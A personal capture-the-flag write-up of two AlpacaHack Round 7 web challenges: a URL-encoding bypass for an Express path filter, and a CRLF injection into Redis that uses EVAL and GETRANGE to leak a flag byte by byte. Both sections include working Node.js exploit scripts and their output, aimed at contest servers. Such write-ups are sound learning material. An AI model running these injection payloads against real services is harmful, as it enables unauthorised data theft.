CTF Write-Up: AlpacaHack #7 (Web)
I had a go at an online capture-the-flag competition. This is the first I've competed in besides a little infosec conference in my home town.
The AlpacaHack Round 7 (Web) competition ran for six hours and included four challenges (which was increased mid-game to five after an unintended solution was discovered).
I placed 7th out of 458, which I'm happy with.
Unfortunately, I was only able to solve two of the five challenges during the allotted time. Here's those solutions:
Treasure Hunt
This was a super-simple nodejs web server serving static files using express.static
. The entirety of the application's code:
import express from "express";
const html = `
<h1>Treasure Hunt 👑</h1>
<p>Can you find a treasure?</p>
<ul>
<li><a href=/book>/book</a></li>
<li><a href=/drum>/drum</a></li>
<li><a href=/duck>/duck</a></li>
<li><a href=/key>/key</a></li>
<li><a href=/pen>/pen</a></li>
<li><a href=/tokyo/tower>/tokyo/tower</a></li>
<li><a href=/wind/chime>/wind/chime</a></li>
<li><a href=/alpaca>/alpaca</a></li>
</ul>
`.trim();
const app = express();
app.use((req, res, next) => {
res.type("text");
if (/[flag]/.test(req.url)) {
res.status(400).send(`Bad URL: ${req.url}`);
return;
}
next();
});
app.use(express.static("public"));
app.get("/", (req, res) => res.type("html").send(html));
app.listen(3000);
And, importantly, there's these lines in the challenge's Dockerfile:
# Create flag.txt
RUN echo 'Alpaca{REDACTED}' > ./flag.txt
# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
&& mkdir -p $(dirname $FLAG_PATH) \
&& mv flag.txt $FLAG_PATH
It's a bit hard to read, but that last command moves the flag to a file that looks like: /app/public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t
.
In the public
directory, which is being served by the webserver (app.use(express.static("public"));
), we have a bunch of useless text files, plus the chain of directories that eventually lead to our flag.
$ file public/*
public/3: directory
public/alpaca: Unicode text, UTF-8 text
public/book: Unicode text, UTF-8 text
public/crown: Unicode text, UTF-8 text
public/drum: Unicode text, UTF-8 text
public/duck: Unicode text, UTF-8 text
public/key: Unicode text, UTF-8 text
public/pen: Unicode text, UTF-8 text
public/tokyo: directory
public/wind: directory
Immediately, I figured the solution is a simple letter-by-letter directory enumeration. We need to guess each of the 32 hexadecimal directories.
However, the HTTP reply for GET /3/
(the first of our directories) returns a 404 page identical to an actual-404 (i.e. /whatever/
).
$ curl http://localhost:3000/3/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /3/</pre>
</body>
</html>
$ curl http://localhost:3000/whatever/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /whatever/</pre>
</body>
</html>
However: GET /3
without the trailing slash gives a 301 redirect to /3/
. OK, so my script needs to run through /[0-9a-f]
, treat 301s as a hit, then repeat recursively (e.g. next with /3/[0-9a-f]
).
I created this script, which worked fine until of course I hit /3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/?
. That's because line 22 disallows any URLs containing the letters a
or f
(and l
and g
but those aren't hexadecimal so are irrelevant).
if (/[flag]/.test(req.url)) {
res.status(400).send(`Bad URL: ${req.url}`);
return;
}
Because both /<blah>/a
and /<blah>/f
return an identical 400, we don't know which is correct. Additionally, if we try to get anything beyond these directories, we'll get another 400.
After trying a few things that led nowhere, I figured out the solution, which was much easier than expected: just URI-encode the thing. a
becomes its %61
equivalent (since it's 0x61 on the ASCII table) and f
becomes %66
. I upgraded my script to make those replacements and got the flag.
My solution script:
const target = 'http://x.x.x.x:xxxxx';
let pathSoFar = '';
for (let i = 0; i < 32; i++) {
let found = false;
for (let char of 'abcdef1234567890') {
if (['a', 'f'].includes(char)) {
char = {
'a': '%61',
'f': '%66',
}[char];
}
const res = await fetch(`${target}/${pathSoFar}${char}`, {
redirect: 'manual',
});
if (res.status === 301) {
// yep; next character please
pathSoFar += `${char}/`;
found = true;
break;
}
}
if (!found) {
throw new Error('wtf?');
}
}
const remainingPath = 'f/l/a/g/t/x/t'.replace(/[flag]/g, char =>
`%${char.charCodeAt(0).toString(16)}`
)
const flagURL = `${target}/${pathSoFar}${remainingPath}`;
console.log(flagURL);
console.log(await (await fetch(flagURL)).text());
$ node solution.mjs
http://x.x.x.x:xxxxx/4/b/%61/%66/b/1/9/%61/7/b/6/6/c/b/4/1/5/e/b/0/7/0/c/e/1/%61/1/b/2/e/8/%66/%66/%6c/%61/%67/t/x/t
Alpaca{alpacapacapacakoshitantan}
Alpaca Poll
This one was a fair bit more complicated. We have another express web server, but this time with an API and a redis database backend.
The webapp records votes for favourite animals. Of course, alpaca is #1.

Looking at the code, there are two API endpoints:
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});
app.get('/votes', async (req, res) => {
return res.json(await getVotes());
});
The GET /votes
gives us the current tally for all animals (e.g. {"dog":70,"cat":33,"alpaca":10000}
), and POST /vote
adds a new vote for a given animal.
The scores are stored in redis entries with keys corresponding to the name of the animal and values being integers – the total number of votes received. When we POST /vote
, the server does an INCR ${animal}
by calling this function:
export async function vote(animal) {
const socket = await connect();
const message = `INCR ${animal}\r\n`;
const reply = await send(socket, message);
socket.destroy();
return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}
When the script first starts, it calls an init()
function which placed the flag in the redis database under the key aptly named flag
. Obviously, then, we have to somehow trick the API into reading from this key.
If you haven't spotted it already: the following line is vulnerable because it only removes one occurrence each of \r
and \n
, meaning we can bypass that by giving it \r\n\r\n
(which would translate to \r\n
).
animal = animal.replace('\r', '').replace('\n', '');
That animal
value comes from our POST data without validation, and eventually ends up at the INCR ${animal}\r\n
line, so here's where we inject some code to exfiltrate flag
.
If we POST with animal=dog\r\n\r\nGET flag
then the vote()
function is sending two commands to redis successfully: "INCR dog\r\nGET flag\r\n"
. However, we're only hearing the reply of the first command (which has to be a number) because of this line:
return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
We need to do something slightly more complicated. Copy the flag somewhere else and read it later, probably.
I had an idea of what to do: create a redis command that would take a specific index letter in flag
, convert that letter to its ASCII character code, and place it in dog
. Then, as we're doing the same for the next letter, we'll hear the response of INCR dog
which should be equal to the previous letter's ASCII code plus one.
My problem was that I'm unfamiliar with redis beyond the basics: GET
and SET
, etc. This was a good learning experience for me – I spent ten minutes or so reading the official docs, looking for something useful. I was searching for a few things: how to get a substring of a value (i.e. a letter of flag
), how to convert a string/character to an integer, and how to copy that value into another key (were local/session variables a thing?)...
It took me a while, but I eventually found EVAL
, which lets you run arbitrary Lua code inside the redis server, and I also discovered GETRANGE
, which returns substrings of strings. Combining these, I wrote a script that would pull a letter at index n
from flag
and replace dog
with that letter's character code. We'd repeat this for each index to read the whole flag. (I realised also that to read the character codes, you can, instead of reading the response to the INCR
and subtracting 1
, just look at the GET /votes
response after each update, which is in my opinion a little neater.)
The EVAL
command I landed on was as follows, although I'm sure there are plenty of other ways the same could be written:
EVAL "return redis.call('SET', 'dog', string.byte(redis.call('GETRANGE','flag', index, index)))" 0
My solution:
const target = `http://x.x.x.x:xxxx`;
let flag = '';
let index = 0;
while (!flag.endsWith('}')) {
const payload = `\r\n\r\nEVAL "return redis.call('SET', 'dog', string.byte(redis.call('GETRANGE','flag', ${index}, ${index})))" 0`;
await fetch(`${target}/vote`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `animal=dog${payload}`,
});
const votes = await (await fetch(`${target}/votes`)).json();
flag += String.fromCharCode(votes.dog);
console.dir({ flag });
index++;
}
$ node solution.mjs
{ flag: 'A' }
{ flag: 'Al' }
{ flag: 'Alp' }
{ flag: 'Alpa' }
{ flag: 'Alpac' }
{ flag: 'Alpaca' }
{ flag: 'Alpaca{' }
{ flag: 'Alpaca{e' }
{ flag: 'Alpaca{ez' }
{ flag: 'Alpaca{ezo' }
{ flag: 'Alpaca{ezot' }
{ flag: 'Alpaca{ezota' }
{ flag: 'Alpaca{ezotan' }
{ flag: 'Alpaca{ezotanu' }
{ flag: 'Alpaca{ezotanuk' }
{ flag: 'Alpaca{ezotanuki' }
{ flag: 'Alpaca{ezotanuki_' }
{ flag: 'Alpaca{ezotanuki_m' }
{ flag: 'Alpaca{ezotanuki_mo' }
{ flag: 'Alpaca{ezotanuki_mof' }
{ flag: 'Alpaca{ezotanuki_mofu' }
{ flag: 'Alpaca{ezotanuki_mofum' }
{ flag: 'Alpaca{ezotanuki_mofumo' }
{ flag: 'Alpaca{ezotanuki_mofumof' }
{ flag: 'Alpaca{ezotanuki_mofumofu' }
{ flag: 'Alpaca{ezotanuki_mofumofu}' }
Overall I had fun and learned a bit.
I solved the above in a little over an hour and spent the remaining five hours struggling with the next challenges (minimal-waf, disconnection, disconnection-revenge), which were all XSS-related. You can find those write-ups elsewhere.
Thanks for reading.